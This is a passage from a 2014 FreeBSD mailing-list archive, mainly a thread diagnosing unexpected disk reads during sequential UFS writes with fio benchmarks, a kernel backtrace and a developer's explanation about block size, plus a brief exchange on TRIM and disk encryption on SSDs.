21:19:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 480E0673; Fri, 4 Jul 2014 21:19:57 +0000 (UTC) Received: from systemdatarecorder.org (ec2-54-246-96-61.eu-west-1.compute.amazonaws.com [54.246.96.61]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client CN "localhost", Issuer "localhost" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id CCB43237B; Fri, 4 Jul 2014 21:19:55 +0000 (UTC) Received: from nereid (84-253-211-213.bb.dnainternet.fi [84.253.211.213]) (authenticated bits=0) by systemdatarecorder.org (8.14.4/8.14.4/Debian-2ubuntu2.1) with ESMTP id s64LIB7p026639 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT); Fri, 4 Jul 2014 21:18:11 GMT Date: Sat, 5 Jul 2014 00:19:38 +0300 From: Stefan Parvu To: Roger Pau =?ISO-8859-1?Q?Monn=E9?= Subject: Re: Strange IO performance with UFS Message-Id: <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> In-Reply-To: <53B69C73.7090806@citrix.com> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> Organization: systemdatarecorder.org X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: freebsd-fs@freebsd.org, FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 04 Jul 2014 21:19:57 -0000 Hi, > > I'm doing some tests on IO performance using fio, and I've found > > something weird when using UFS and large files. I have the following > > very simple sequential fio workload: System: FreeBSD ox 10.0-RELEASE-p6 FreeBSD 10.0-RELEASE-p6 #0: Tue Jun 24 07:47:37 = UTC 2014 =20 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 1. Seq Write to 1 file, 10GB size, single writer, block 4k, UFS2: I tried to write seq using a single writer using an IOSIZE similar to your = example, 10 GB to a 14TB Hdw RAID 10 LSI device using fio 2.1.9 under FreeBSD 10.0.=20 Result: Run status group 0 (all jobs): WRITE: io=3D10240MB, aggrb=3D460993KB/s, minb=3D460993KB/s, maxb=3D460993= KB/s,=20 mint=3D22746msec, maxt=3D22746msec 2. Seq Write to 2500 files, each file 5MB size, multiple writers, UFS2: Result: Run status group 0 (all jobs): WRITE: io=3D12500MB, aggrb=3D167429KB/s, minb=3D334KB/s, maxb=3D9968KB/s,= =20 mint=3D2568msec, maxt=3D76450msec Questions: - where are you writing, what storage: hdw / sfw RAID ? - are you using time based fio tests ?=20 For fun I can share with you some results we been doing between FreeBSD10 a= md64 (f10)=20 and Debian7 amd64 (d7) using LSI HDW RAID 10. We don't use time based fio b= ut rather=20 we measure how fast we can send once the IOSIZE and measure the elapsed tim= e.=20 This proofed to be more accurate and return more sane results than actually= keeping=20 fio running for 15 or 30minutes. Id=A0 =A0 =A0 Test_Name=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 Throughput=A0 = =A0 =A0 Utilization=A0 =A0 =A0 Idle 1=A0 =A0 =A0 f10.raid10.4k.2500=A0 =A0 =A0 =A0 23 MB/s=A0 =A0 =A0 =A0 =A0 = 8%=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 92% 2=A0 =A0 =A0 f10.raid10.4k.5000=A0 =A0 =A0 =A0 18 MB/s=A0 =A0 =A0 =A0 =A0 = 9%=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 91% 3=A0 =A0 =A0 f10.raid10.64k.2500=A0 =A0 =A0 215 MB/s=A0 =A0 =A0 =A0 22%=A0= =A0 =A0 =A0 =A0 =A0 =A0 78% 4=A0 =A0 =A0 f10.raid10.64k.5000=A0 =A0 =A0 162 MB/s=A0 =A0 =A0 =A0 18%=A0= =A0 =A0 =A0 =A0 =A0 =A0 82% =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0= =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 idle=A0 =A0 iowait 5=A0 =A0 =A0 d7.raid10.4k.2500=A0 =A0 =A0 =A0 29 MB/s=A0 =A0 =A0 =A0 =A0 = 2%=A0 =A0 =A0 =A0 =A0 65.08 + 32.93 6=A0 =A0 =A0 d7.raid10.4k.5000=A0 =A0 =A0 =A0 29 MB/s=A0 =A0 =A0 =A0 =A0 = 3%=A0 =A0 =A0 =A0 =A0 53.68 + 43.79 7=A0 =A0 =A0 d7.raid10.64k.2500=A0 =A0 =A0 297 MB/s=A0 =A0 =A0 =A0 3%=A0 = =A0 =A0 =A0 =A0 56.44 + 41.11 8=A0 =A0 =A0 d7.raid10.64k.5000=A0 =A0 =A0 182 MB/s=A0 =A0 =A0 =A0 4%=A0 = =A0 =A0 =A0 =A0 12.85 + 83.85 --=20 Stefan Parvu From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 01:11:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 546FC65F for ; Sat, 5 Jul 2014 01:11:38 +0000 (UTC) Received: from mailout4.easymail.ca (mailout.easymail.ca [64.68.200.169]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0EAB925C3 for ; Sat, 5 Jul 2014 01:11:37 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by mailout4.easymail.ca (Postfix) with ESMTP id 022CEE4BD for ; Fri, 4 Jul 2014 21:11:35 -0400 (EDT) X-Virus-Scanned: Debian amavisd-new at mailout4.easymail.ca X-Spam-Flag: NO X-Spam-Score: -4.399 X-Spam-Level: X-Spam-Status: No, score=-4.399 required=5 tests=[ALL_TRUSTED=-1.8, BAYES_00=-2.599] Received: from mailout4.easymail.ca ([127.0.0.1]) by localhost (easymail-mailout2.easydns.vpn [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id C0bRP+NppMwH for ; Fri, 4 Jul 2014 21:11:34 -0400 (EDT) Received: from [192.168.42.161] (76-10-184-89.dsl.teksavvy.com [76.10.184.89]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mailout4.easymail.ca (Postfix) with ESMTPSA id 4F22DE37D for ; Fri, 4 Jul 2014 21:11:34 -0400 (EDT) Message-ID: <53B750C1.8070706@gooch.io> Date: Fri, 04 Jul 2014 18:11:29 -0700 From: Jesse Gooch User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Icedove/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: geli+trim support References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> <60445.1404461976@critter.freebsd.dk> In-Reply-To: <60445.1404461976@critter.freebsd.dk> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 01:11:38 -0000 Hi, On 04/07/14 01:19 AM, Poul-Henning Kamp wrote: > In message <53B6427D.1010403@gooch.io>, Jesse Gooch writes: > >> IIRC, TRIM is bad for encryption anyway. You want everything to be >> random noise, even the empty sectors. TRIM defeats this. > > The problem is that there is nothing you can do. > > If you overwrite, your old sector is still unchanged somewhere in flash. > > If you TRIM, your old sector is still unchanged somewhere in flash, but > if you're lucky for slightly less time. Perhaps I misunderstand TRIM, isn't the point of TRIM that it zeroes out the sector ahead of time so it doesn't have to re-do it again when it stores more data in that sector later? > Doing both just means that you have both the original and the overwritten > content lingering in flash. > > GBDEs scheme with per sector PRNG keys is marginally better than > GELIs, in that the chances that both the sector and its key survives > is only 3/4 of the chance that the sector survives. > > Without access to and control over the Flash Adaptation Layer, > encrypting SSDs so they are safe against hardware access is impossible. > > For the paranoid: ... and a hostile FTL can make it much harder. > From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 09:32:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9DA406C4; Sat, 5 Jul 2014 09:32:12 +0000 (UTC) Received: from SMTP.CITRIX.COM (smtp.citrix.com [66.165.176.89]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "mail.citrix.com", Issuer "Cybertrust Public SureServer SV CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B814F277A; Sat, 5 Jul 2014 09:32:10 +0000 (UTC) X-IronPort-AV: E=Sophos;i="5.01,606,1400025600"; d="scan'208";a="149918303" Received: from accessns.citrite.net (HELO FTLPEX01CL01.citrite.net) ([10.9.154.239]) by FTLPIPO01.CITRIX.COM with ESMTP; 05 Jul 2014 09:32:07 +0000 Received: from [IPv6:::1] (10.80.16.47) by smtprelay.citrix.com (10.13.107.78) with Microsoft SMTP Server id 14.3.181.6; Sat, 5 Jul 2014 05:32:06 -0400 Message-ID: <53B7C616.1000702@citrix.com> Date: Sat, 5 Jul 2014 11:32:06 +0200 From: =?ISO-8859-1?Q?Roger_Pau_Monn=E9?= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Stefan Parvu Subject: Re: Strange IO performance with UFS References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> In-Reply-To: <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-DLP: MIA2 Cc: freebsd-fs@freebsd.org, FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 09:32:12 -0000 On 04/07/14 23:19, Stefan Parvu wrote: > Hi, > >>> I'm doing some tests on IO performance using fio, and I've found >>> something weird when using UFS and large files. I have the following >>> very simple sequential fio workload: > > System: > FreeBSD ox 10.0-RELEASE-p6 FreeBSD 10.0-RELEASE-p6 #0: Tue Jun 24 07:47:37 UTC 2014 > root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 > > > 1. Seq Write to 1 file, 10GB size, single writer, block 4k, UFS2: > > I tried to write seq using a single writer using an IOSIZE similar to your example, 10 > GB to a 14TB Hdw RAID 10 LSI device using fio 2.1.9 under FreeBSD 10.0. > > Result: > Run status group 0 (all jobs): > WRITE: io=10240MB, aggrb=460993KB/s, minb=460993KB/s, maxb=460993KB/s, > mint=22746msec, maxt=22746msec This looks much better than what I've saw in my benchmarks, how much memory does the system have? In my case I've seen the reads issue when trying to write to files that where greater than the memory the system has. My box has 6GB of RAM and I was using a 10GB file. > > > 2. Seq Write to 2500 files, each file 5MB size, multiple writers, UFS2: > > Result: > Run status group 0 (all jobs): > WRITE: io=12500MB, aggrb=167429KB/s, minb=334KB/s, maxb=9968KB/s, > mint=2568msec, maxt=76450msec > > Questions: > > - where are you writing, what storage: hdw / sfw RAID ? The storage is a simple SATA disk, no RAID: pass0 at ahcich0 bus 0 scbus0 target 0 lun 0 pass0: ATA-8 SATA 3.x device pass0: Serial Number Z3T3FJXL pass0: 300.000MB/s transfers (SATA 2.x, UDMA6, PIO 8192bytes) pass0: Command Queueing enabled > - are you using time based fio tests ? I'm using the following fio workload, as stated in the first email: [global] rw=write size=4g bs=4k [job1] The problem doesn't seem to be related to the hardware (I've also seen this when running inside of a VM), but to UFS itself that at some point (or maybe under certain conditions) starts making a lot of reads when doing a simple write: kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 kernel`dofilewrite+0x85 kernel`kern_writev+0x65 kernel`sys_write+0x63 This can also be seen by running iostat in parallel with the fio workload: device r/s w/s kr/s kw/s qlen svc_t %b ada0 243.3 233.7 31053.3 29919.1 31 57.4 100 This clearly shows that even when I was doing a sequential write (the fio workload shown above), the disk was actually reading more data than writing it, which makes no sense, and all the reads come from the path trace shown above. Roger. From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 09:36:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BC08B986; Sat, 5 Jul 2014 09:36:32 +0000 (UTC) Received: from SMTP.CITRIX.COM (smtp.citrix.com [66.165.176.89]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "mail.citrix.com", Issuer "Cybertrust Public SureServer SV CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A1C9827E0; Sat, 5 Jul 2014 09:36:31 +0000 (UTC) X-IronPort-AV: E=Sophos;i="5.01,606,1400025600"; d="scan'208";a="149918522" Received: from accessns.citrite.net (HELO FTLPEX01CL03.citrite.net) ([10.9.154.239]) by FTLPIPO01.CITRIX.COM with ESMTP; 05 Jul 2014 09:36:29 +0000 Received: from [IPv6:::1] (10.80.16.47) by smtprelay.citrix.com (10.13.107.80) with Microsoft SMTP Server id 14.3.181.6; Sat, 5 Jul 2014 05:36:28 -0400 Message-ID: <53B7C71C.40005@citrix.com> Date: Sat, 5 Jul 2014 11:36:28 +0200 From: =?ISO-8859-1?Q?Roger_Pau_Monn=E9?= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Stefan Parvu Subject: Re: Strange IO performance with UFS References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> In-Reply-To: <53B7C616.1000702@citrix.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit X-DLP: MIA2 Cc: freebsd-fs@freebsd.org, FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 09:36:32 -0000 On 05/07/14 11:32, Roger Pau Monné wrote: > I'm using the following fio workload, as stated in the first email: > > [global] > rw=write > size=4g I've pasted the wrong workload, the size is 10g. > bs=4k > > [job1] From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 09:58:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 49DEEB86; Sat, 5 Jul 2014 09:58:44 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DED9D291A; Sat, 5 Jul 2014 09:58:43 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s659wVh1029271 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 5 Jul 2014 12:58:31 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s659wVh1029271 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.9/Submit) id s659wVLq029270; Sat, 5 Jul 2014 12:58:31 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sat, 5 Jul 2014 12:58:31 +0300 From: Konstantin Belousov To: Roger Pau Monn? Subject: Re: Strange IO performance with UFS Message-ID: <20140705095831.GO93733@kib.kiev.ua> References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="YAtIlCcyqLEoH4m3" Content-Disposition: inline In-Reply-To: <53B7C616.1000702@citrix.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 09:58:44 -0000 --YAtIlCcyqLEoH4m3 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? wrote: > On 04/07/14 23:19, Stefan Parvu wrote: > > Hi, > >=20 > >>> I'm doing some tests on IO performance using fio, and I've found > >>> something weird when using UFS and large files. I have the following > >>> very simple sequential fio workload: > >=20 > > System: > > FreeBSD ox 10.0-RELEASE-p6 FreeBSD 10.0-RELEASE-p6 #0: Tue Jun 24 07:47= :37 UTC 2014 =20 > > root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 > >=20 > >=20 > > 1. Seq Write to 1 file, 10GB size, single writer, block 4k, UFS2: > >=20 > > I tried to write seq using a single writer using an IOSIZE similar to y= our example, 10 > > GB to a 14TB Hdw RAID 10 LSI device using fio 2.1.9 under FreeBSD 10.0.= =20 > >=20 > > Result: > > Run status group 0 (all jobs): > > WRITE: io=3D10240MB, aggrb=3D460993KB/s, minb=3D460993KB/s, maxb=3D46= 0993KB/s,=20 > > mint=3D22746msec, maxt=3D22746msec >=20 > This looks much better than what I've saw in my benchmarks, how much > memory does the system have? >=20 > In my case I've seen the reads issue when trying to write to files that > where greater than the memory the system has. My box has 6GB of RAM and > I was using a 10GB file. >=20 > >=20 > >=20 > > 2. Seq Write to 2500 files, each file 5MB size, multiple writers, UFS2: > >=20 > > Result: > > Run status group 0 (all jobs): > > WRITE: io=3D12500MB, aggrb=3D167429KB/s, minb=3D334KB/s, maxb=3D9968K= B/s,=20 > > mint=3D2568msec, maxt=3D76450msec > >=20 > > Questions: > >=20 > > - where are you writing, what storage: hdw / sfw RAID ? >=20 > The storage is a simple SATA disk, no RAID: >=20 > pass0 at ahcich0 bus 0 scbus0 target 0 lun 0 > pass0: ATA-8 SATA 3.x device > pass0: Serial Number Z3T3FJXL > pass0: 300.000MB/s transfers (SATA 2.x, UDMA6, PIO 8192bytes) > pass0: Command Queueing enabled >=20 > > - are you using time based fio tests ? >=20 > I'm using the following fio workload, as stated in the first email: >=20 > [global] > rw=3Dwrite > size=3D4g > bs=3D4k >=20 > [job1] >=20 > The problem doesn't seem to be related to the hardware (I've also seen > this when running inside of a VM), but to UFS itself that at some point > (or maybe under certain conditions) starts making a lot of reads when > doing a simple write: >=20 > kernel`g_io_request+0x384 > kernel`g_part_start+0x2c3 > kernel`g_io_request+0x384 > kernel`g_part_start+0x2c3 > kernel`g_io_request+0x384 > kernel`ufs_strategy+0x8a > kernel`VOP_STRATEGY_APV+0xf5 > kernel`bufstrategy+0x46 > kernel`cluster_read+0x5e6 > kernel`ffs_balloc_ufs2+0x1be2 > kernel`ffs_write+0x310 > kernel`VOP_WRITE_APV+0x166 > kernel`vn_write+0x2eb > kernel`vn_io_fault_doio+0x22 > kernel`vn_io_fault1+0x78 > kernel`vn_io_fault+0x173 > kernel`dofilewrite+0x85 > kernel`kern_writev+0x65 > kernel`sys_write+0x63 >=20 > This can also be seen by running iostat in parallel with the fio workload: >=20 > device r/s w/s kr/s kw/s qlen svc_t %b > ada0 243.3 233.7 31053.3 29919.1 31 57.4 100 >=20 > This clearly shows that even when I was doing a sequential write (the > fio workload shown above), the disk was actually reading more data than > writing it, which makes no sense, and all the reads come from the path > trace shown above. The backtrace above means that the BA_CLRBUF was specified for UFS_BALLOC(). In turns, this occurs when the write size is less than the UFS block size. UFS has to read the block to ensure that partial write does not corrupt the rest of the buffer. You can get the block size for file with stat(2), st_blksize field of the struct stat, or using statfs(2), field f_iosize of struct statfs, or just looking at the dumpfs output for your filesystem, the bsize value. For modern UFS typical value is 32KB. --YAtIlCcyqLEoH4m3 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTt8xGAAoJEJDCuSvBvK1Bj4oP/1vOuNuetXtgTXYq7OwGEjRm l45JFiwz4onMkXoqHQv7t/GEluC1SZjTXeUV8uFPcb+azSOAgRD7EpXaRzQ+2TNV lQYIrFQ1CBND6NBfabNQ1V7upnGZ5jkDx2egMnOJgLGae59308+SrUa5d1Z5D3d/ JpuaA8IcWo8UmowE+SH4pFa0gQjmY3CBbxjjTNJo3sEi5EjGerf4UKqEV5v8tBWg kL8dOYDFPidvU8pur9thjvLtOFiDTVbypaPsB6gbdixJZvPBEn3GNJPWt3eiCDTp NM0amiHk57JncSx3EJSmH5BxhHrdHrNAfW2S3LzwGN6Iul3rvoyQdQFSZX85TNRc 9YB8QvdaDx48MsEQnv1SXlJSHJQFPzpzQ7xQjjAvee+yhBX8iCAdaqAY/uBgG5iM XznhtERlaBcIeh59VZFUdH0Iwq/x6t0/di6DzP3NakB2RW9bCZp6fP0fy/eM954Y ScDm7NF6YfJ8vJhFnOK8sRPeMGn93HPMYUaAMLLJgkQoHOc0gsOW24C9y3Gepysb LS69tWq4MHa+fxkQSrwsTaSpNjWUEvE6b+YESquk8wqs/ilW+MuD8T6fSw7UrZUF rsIQ7yxdIyploduNP7YWbTnBxw3qCinVwZ4LplPjP3OeRi+HbA1GQkT+uR4Ak25h UeOraCzeLWtLU60U6AM1 =JOHj -----END PGP SIGNATURE----- --YAtIlCcyqLEoH4m3-- From owner-freebsd-hackers@FreeBSD.ORG Sat Jul 5 10:35:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F2644356; Sat, 5 Jul 2014 10:35:17 +0000 (UTC) Received: from SMTP02.CITRIX.COM (smtp02.citrix.com [66.165.176.63]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "mail.citrix.com", Issuer "Cybertrust Public SureServer SV CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EB4AA2BCF; Sat, 5 Jul 2014 10:35:16 +0000 (UTC) X-IronPort-AV: E=Sophos;i="5.01,607,1400025600"; d="scan'208";a="150119556" Received: from accessns.citrite.net (HELO FTLPEX01CL02.citrite.net) ([10.9.154.239]) by FTLPIPO02.CITRIX.COM with ESMTP; 05 Jul 2014 10:35:12 +0000 Received: from [IPv6:::1] (10.80.16.47) by smtprelay.citrix.com (10.13.107.79) with Microsoft SMTP Server id 14.3.181.6; Sat, 5 Jul 2014 06:35:12 -0400 Message-ID: <53B7D4DF.40301@citrix.com> Date: Sat, 5 Jul 2014 12:35:11 +0200 From: =?ISO-8859-1?Q?Roger_Pau_Monn=E9?= User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Konstantin Belousov Subject: Re: Strange IO performance with UFS References: <53B691EA.3070108@citrix.com> <53B69C73.7090806@citrix.com> <20140705001938.54a3873dd698080d93d840e2@systemdatarecorder.org> <53B7C616.1000702@citrix.com> <20140705095831.GO93733@kib.kiev.ua> In-Reply-To: <20140705095831.GO93733@kib.kiev.ua> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-DLP: MIA2 Cc: freebsd-fs@freebsd.org, Stefan Parvu , FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Jul 2014 10:35:18 -0000 On 05/07/14 11:58, Konstantin Belousov wrote: > On Sat, Jul 05, 2014 at 11:32:06AM +0200, Roger Pau Monn? wrote: >> On 04/07/14 23:19, Stefan Parvu wrote: >>> Hi, >>> >>>>> I'm doing some tests on IO performance using fio, and I've >>>>> found something weird when using UFS and large files. I >>>>> have the following very simple sequential fio workload: >>> >>> System: FreeBSD ox 10.0-RELEASE-p6 FreeBSD 10.0-RELEASE-p6 #0: >>> Tue Jun 24 07:47:37 UTC 2014 >>> root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC >>> amd64 >>> >>> >>> 1. Seq Write to 1 file, 10GB size, single writer, block 4k, >>> UFS2: >>> >>> I tried to write seq using a single writer using an IOSIZE >>> similar to your example, 10 GB to a 14TB Hdw RAID 10 LSI device >>> using fio 2.1.9 under FreeBSD 10.0. >>> >>> Result: Run status group 0 (all jobs): WRITE: io=10240MB, >>> aggrb=460993KB/s, minb=460993KB/s, maxb=460993KB/s, >>> mint=22746msec, maxt=22746msec >> >> This looks much better than what I've saw in my benchmarks, how >> much memory does the system have? >> >> In my case I've seen the reads issue when trying to write to >> files that where greater than the memory the system has. My box >> has 6GB of RAM and I was using a 10GB file. >> >>> >>> >>> 2. Seq Write to 2500 files, each file 5MB size, multiple >>> writers, UFS2: >>> >>> Result: Run status group 0 (all jobs): WRITE: io=12500MB, >>> aggrb=167429KB/s, minb=334KB/s, maxb=9968KB/s, mint=2568msec, >>> maxt=76450msec >>> >>> Questions: >>> >>> - where are you writing, what storage: hdw / sfw RAID ? >> >> The storage is a simple SATA disk, no RAID: >> >> pass0 at ahcich0 bus 0 scbus0 target 0 lun 0 pass0: >> ATA-8 SATA 3.x device pass0: Serial >> Number Z3T3FJXL pass0: 300.000MB/s transfers (SATA 2.x, UDMA6, >> PIO 8192bytes) pass0: Command Queueing enabled >> >>> - are you using time based fio tests ? >> >> I'm using the following fio workload, as stated in the first >> email: >> >> [global] rw=write size=4g bs=4k >> >> [job1] >> >> The problem doesn't seem to be related to the hardware (I've also >> seen this when running inside of a VM), but to UFS itself that at >> some point (or maybe under certain conditions) starts making a >> lot of reads when doing a simple write: >> >> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >> kernel`g_io_request+0x384 kernel`g_part_start+0x2c3 >> kernel`g_io_request+0x384 kernel`ufs_strategy+0x8a >> kernel`VOP_STRATEGY_APV+0xf5 kernel`bufstrategy+0x46 >> kernel`cluster_read+0x5e6 kernel`ffs_balloc_ufs2+0x1be2 >> kernel`ffs_write+0x310 kernel`VOP_WRITE_APV+0x166 >> kernel`vn_write+0x2eb kernel`vn_io_fault_doio+0x22 >> kernel`vn_io_fault1+0x78 kernel`vn_io_fault+0x173 >> kernel`dofilewrite+0x85 kernel`kern_writev+0x65 >> kernel`sys_write+0x63 >> >> This can also be seen by running iostat in parallel with the fio >> workload: >> >> device r/s w/s kr/s kw/s qlen svc_t %b ada0 >> 243.3 233.7 31053.3 29919.1 31 57.4 100 >> >> This clearly shows that even when I was doing a sequential write >> (the fio workload shown above), the disk was actually reading >> more data than writing it, which makes no sense, and all the >> reads come from the path trace shown above. > > The backtrace above means that the BA_CLRBUF was specified for > UFS_BALLOC(). In turns, this occurs when the write 